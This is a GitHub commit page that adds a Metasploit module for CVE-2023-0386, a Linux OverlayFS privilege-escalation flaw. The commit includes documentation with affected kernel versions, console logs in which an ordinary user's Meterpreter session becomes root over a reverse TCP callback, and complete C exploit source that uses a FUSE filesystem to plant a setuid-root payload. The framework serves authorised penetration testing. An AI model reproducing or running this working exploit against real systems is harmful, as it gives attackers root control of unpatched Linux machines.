Skip to content

Commit dbc020a

Browse files
authored
Merge pull request rapid7#19441 from Takahiro-Yoko/cve_2023_0386_priv_esc
Land rapid7#19441, Add module: Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386
2 parents b7a71b3 + 3e6572a commit dbc020a

File tree

4 files changed

+505
-0
lines changed

4 files changed

+505
-0
lines changed
Binary file not shown.
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
## Vulnerable Application
2+
3+
This exploit targets the Linux kernel bug in OverlayFS.
4+
5+
A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities
6+
was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount.
7+
This uid mapping bug allows a local user to escalate their privileges on the system.
8+
9+
The vulnerability affects:
10+
11+
* Linux kernel from (including) 5.11 up to (excluding) 5.15.91 and from (including) 5.16 Up to (excluding) 6.1.9
12+
13+
This module was successfully tested on:
14+
15+
* Ubuntu kernel version 5.13.0-1021-oem on x64/amd64
16+
* Ubuntu kernel version 6.0.0-060000-generic on x64/amd64
17+
* Ubuntu kernel version 6.0.19-060019-generic on x64/amd64
18+
* Ubuntu kernel version 6.1.0-060100-generic on x64/amd64
19+
20+
### Install
21+
22+
1. Install Ubuntu version 22.04 LTS
23+
2. (Optional) Change kernel version
24+
```
25+
sudo apt update
26+
sudo apt install -y linux-image-5.13.0-1021-oem linux-headers-5.13.0-1021-oem
27+
reboot
28+
```
29+
3. Install the required libraries
30+
```
31+
sudo apt update
32+
sudo apt install -y gcc cmake fuse libfuse-dev libcap-dev
33+
```
34+
35+
## Verification Steps
36+
37+
1. Make an Ubuntu
38+
2. Create a meterpreter or shell payload and upload it to the Ubuntu target
39+
3. Set up a handler for the payload
40+
4. Launch the payload as a regular user on the Ubuntu target and connect the handler
41+
5. Do: `use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc`
42+
6. Do: `run session=<session> lhost=<lhost>`
43+
7. You should get a root
44+
45+
## Options
46+
47+
### COMPILE (required)
48+
49+
[Auto|True|False] This selects the binary to use. True will upload the source code and perform
50+
compilation on target, False will upload a precompiled binary. AUTO will favor compiling on target
51+
but will fall back to the precompiled option if a compiler cannot be found.
52+
The default value is `Auto`
53+
54+
### TIMEOUT (required)
55+
56+
This is the amount of time (in seconds) that the module will wait for the payload to be
57+
executed. Defaults to 60 seconds.
58+
59+
### WritableDir (required)
60+
This indicates the location where you would like the payload and exploit binary stored, as well
61+
as serving as a location to store the various files and directories created by the exploit itself.
62+
The default value is `/tmp`
63+
64+
## Scenarios
65+
### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=Auto
66+
```
67+
msf6 > use exploit/multi/handler
68+
[*] Using configured payload generic/shell_reverse_tcp
69+
msf6 exploit(multi/handler) > run lhost=192.168.56.1 lport=4444 payload=linux/x64/meterpreter/reverse_tcp
70+
71+
[*] Started reverse TCP handler on 192.168.56.1:4444
72+
[*] Sending stage (3045380 bytes) to 192.168.56.10
73+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.10:59844) at 2024-09-09 08:22:36 +0900
74+
75+
meterpreter > getuid
76+
Server username: ubu
77+
meterpreter > background
78+
[*] Backgrounding session 1...
79+
msf6 exploit(multi/handler) > use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc
80+
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
81+
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=Auto
82+
83+
[*] Started reverse TCP handler on 192.168.56.1:4444
84+
[*] Running automatic check ("set AutoCheck false" to disable)
85+
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
86+
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
87+
[*] Writing '/tmp/.AHeqRyKHX/.2zkk6' (1068952 bytes) ...
88+
[*] Launching exploit...
89+
[+] Deleted /tmp/.AHeqRyKHX
90+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.10:54770) at 2024-09-09 08:23:02 +0900
91+
92+
meterpreter > getuid
93+
Server username: root
94+
meterpreter > sysinfo
95+
Computer : 192.168.56.10
96+
OS : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
97+
Architecture : x64
98+
BuildTuple : x86_64-linux-musl
99+
Meterpreter : x64/linux
100+
```
101+
102+
### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=True
103+
```
104+
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=True
105+
106+
[*] Started reverse TCP handler on 192.168.56.1:4444
107+
[*] Running automatic check ("set AutoCheck false" to disable)
108+
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
109+
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
110+
[*] Writing '/tmp/.cvnVjW/.j3OSujf' (1068952 bytes) ...
111+
[*] Launching exploit...
112+
[+] Deleted /tmp/.cvnVjW
113+
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.10:51750) at 2024-09-09 08:23:28 +0900
114+
115+
meterpreter > getuid
116+
Server username: root
117+
meterpreter > sysinfo
118+
Computer : 192.168.56.10
119+
OS : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
120+
Architecture : x64
121+
BuildTuple : x86_64-linux-musl
122+
Meterpreter : x64/linux
123+
```
124+
125+
### Ubuntu 6.0.19-060019-generic x64/amd64 COMPILE=False
126+
```
127+
msf6 exploit(linux/local/cve_2023_0386_overlayfs_priv_esc) > run session=1 lhost=192.168.56.1 COMPILE=False
128+
129+
[*] Started reverse TCP handler on 192.168.56.1:4444
130+
[*] Running automatic check ("set AutoCheck false" to disable)
131+
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_channel_open: Operation failed: 1
132+
[+] The target appears to be vulnerable. Linux kernel version found: 6.0.19
133+
[*] Writing '/tmp/.wWno7SA/.Bv3HUIrHyr' (18712 bytes) ...
134+
[*] Writing '/tmp/.wWno7SA/.r1nzG9LZ' (16824 bytes) ...
135+
[*] Writing '/tmp/.wWno7SA/.g0QNeF' (1068952 bytes) ...
136+
[*] Launching exploit...
137+
[+] Deleted /tmp/.wWno7SA
138+
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.10:33860) at 2024-09-09 08:23:50 +0900
139+
140+
meterpreter > getuid
141+
Server username: root
142+
meterpreter > sysinfo
143+
Computer : 192.168.56.10
144+
OS : Ubuntu 22.04 (Linux 6.0.19-060019-generic)
145+
Architecture : x64
146+
BuildTuple : x86_64-linux-musl
147+
Meterpreter : x64/linux
148+
```
Lines changed: 214 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,214 @@
1+
// Kudos to https://github.com/xkaneiki/CVE-2023-0386
2+
// Just refactored and eased code to only one binary.
3+
4+
#define FUSE_USE_VERSION 29
5+
#include <errno.h>
6+
#include <fuse.h>
7+
#include <stdio.h>
8+
#include <string.h>
9+
#include <stdlib.h>
10+
#include <sched.h>
11+
#include <sys/mman.h>
12+
#include <sys/types.h>
13+
#include <unistd.h>
14+
#include <signal.h>
15+
16+
char SHELL[0x5000000];
17+
18+
#define STR_LENGTH 500
19+
char DIR_BASE[STR_LENGTH];
20+
char DIR_WORK[STR_LENGTH];
21+
char DIR_LOWER[STR_LENGTH];
22+
char DIR_UPPER[STR_LENGTH];
23+
char DIR_MERGE[STR_LENGTH];
24+
25+
26+
void fatal(const char *msg)
27+
{
28+
perror(msg);
29+
exit(1);
30+
}
31+
32+
static int getattr_callback(const char *path, struct stat *stbuf)
33+
{
34+
printf("%s\n", "[+] getattr_callback");
35+
memset(stbuf, 0, sizeof(struct stat));
36+
37+
if (strcmp(path, "/file") == 0)
38+
{
39+
printf("%s\n", path);
40+
stbuf->st_mode = S_IFREG | 04777;
41+
stbuf->st_nlink = 1;
42+
stbuf->st_uid = 0;
43+
stbuf->st_gid = 0;
44+
stbuf->st_size = sizeof(SHELL);
45+
return 0;
46+
}
47+
else if (strcmp(path, "/") == 0)
48+
{
49+
printf("%s\n", path);
50+
stbuf->st_mode = S_IFDIR | 0777;
51+
stbuf->st_nlink = 2;
52+
stbuf->st_uid = 1000;
53+
stbuf->st_gid = 1000;
54+
return 0;
55+
}
56+
return -ENOENT;
57+
}
58+
59+
static int open_callback(const char *path, struct fuse_file_info *fi)
60+
{
61+
printf("%s\n", "[+] open_callback");
62+
printf("%s\n", path);
63+
if (strcmp(path, "file") == 0)
64+
{
65+
int fd = open("", fi->flags);
66+
67+
return -errno;
68+
}
69+
return 0;
70+
}
71+
72+
static int read_callback(const char *path,
73+
char *buf, size_t size, off_t offset,
74+
struct fuse_file_info *fi)
75+
{
76+
printf("%s\n", "[+] read_callback");
77+
printf(" path : %s\n", path);
78+
printf(" size : 0x%lx\n", size);
79+
printf(" offset: 0x%lx\n", offset);
80+
char tmp;
81+
if (strcmp(path, "/file") == 0)
82+
{
83+
size_t len = sizeof(SHELL);
84+
if (offset >= len)
85+
return 0;
86+
if ((size > len) || (offset + size > len))
87+
{
88+
memcpy(buf, SHELL + offset, len - offset);
89+
return len - offset;
90+
}
91+
else
92+
{
93+
memcpy(buf, SHELL + offset, size);
94+
return size;
95+
}
96+
}
97+
return -ENOENT;
98+
}
99+
100+
101+
// needed for touch
102+
static int ioctl_callback(const char *p, int cmd, void *arg,
103+
struct fuse_file_info *fi, unsigned int flags, void *data)
104+
{
105+
printf("%s\n", "[+] ioctl callback");
106+
printf("path %s\n", p);
107+
printf("cmd 0x%x\n", cmd);
108+
return 0;
109+
}
110+
111+
static int readdir_callback(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi)
112+
{
113+
printf("%s\n", "[+] readdir");
114+
filler(buf, "file", NULL, 0);
115+
return 0;
116+
}
117+
118+
static struct fuse_operations fops = {
119+
.getattr = getattr_callback,
120+
.open = open_callback,
121+
.read = read_callback,
122+
.ioctl = ioctl_callback,
123+
.readdir = readdir_callback,
124+
};
125+
126+
void start_fuse()
127+
{
128+
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
129+
struct fuse_chan *chan;
130+
struct fuse *fuse;
131+
132+
if (!(chan = fuse_mount(DIR_LOWER, &args)))
133+
fatal("fuse_mount");
134+
135+
if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL)))
136+
{
137+
fuse_unmount(DIR_LOWER, chan);
138+
fatal("fuse_new");
139+
}
140+
141+
fuse_set_signal_handlers(fuse_get_session(fuse));
142+
fuse_loop_mt(fuse);
143+
fuse_unmount(DIR_LOWER, chan);
144+
}
145+
146+
void preps()
147+
{
148+
char buf[4096];
149+
if (mkdir(DIR_BASE, 0777))
150+
perror("mkdir");
151+
sprintf(buf, "rm -rf '%s/*'", DIR_BASE);
152+
system(buf);
153+
if (mkdir(DIR_LOWER, 0777))
154+
perror("mkdir");
155+
if (mkdir(DIR_UPPER, 0777))
156+
perror("mkdir");
157+
if (mkdir(DIR_WORK, 0777))
158+
perror("mkdir");
159+
if (mkdir(DIR_MERGE, 0777))
160+
perror("mkdir");
161+
}
162+
163+
int main(int argc, char const *argv[])
164+
{
165+
char buf[8192];
166+
// argv[1] = payload to launch
167+
// argv[2] = base_dir
168+
if (argc < 3)
169+
{
170+
puts("[-] usage:");
171+
puts("./exploit [payload path] [base_dir path]");
172+
return -1;
173+
}
174+
175+
int fd = open(argv[1], O_RDONLY);
176+
if (fd < 0)
177+
{
178+
fatal("open payload");
179+
}
180+
int clen = 0;
181+
while (read(fd, SHELL + clen, 1) > 0)
182+
clen++;
183+
close(fd);
184+
185+
strcpy(DIR_BASE, argv[2]);
186+
snprintf(DIR_WORK, STR_LENGTH, "%s/%s", argv[2], "work");
187+
snprintf(DIR_LOWER, STR_LENGTH, "%s/%s", argv[2], "lower");
188+
snprintf(DIR_UPPER, STR_LENGTH, "%s/%s", argv[2], "upper");
189+
snprintf(DIR_MERGE, STR_LENGTH, "%s/%s", argv[2], "merge");
190+
191+
preps();
192+
193+
setuid(0);
194+
setgid(0);
195+
196+
int pid = fork();
197+
if (pid == 0)
198+
{
199+
start_fuse();
200+
}
201+
else
202+
{
203+
printf("Waiting 1 sec...\n");
204+
sleep(1);
205+
sprintf(buf, "unshare -r -m sh -c 'mount -t overlay overlay -o lowerdir=%s,upperdir=%s,workdir=%s %s && ls -la %s && touch %s/file'", DIR_LOWER, DIR_UPPER, DIR_WORK, DIR_MERGE, DIR_MERGE, DIR_MERGE);
206+
printf("%s\n", buf);
207+
system(buf);
208+
kill(pid, SIGINT);
209+
sprintf(buf, "%s/file", DIR_UPPER);
210+
printf("%s\n", buf);
211+
system(buf);
212+
}
213+
return 0;
214+
}

0 commit comments

Comments
 (0)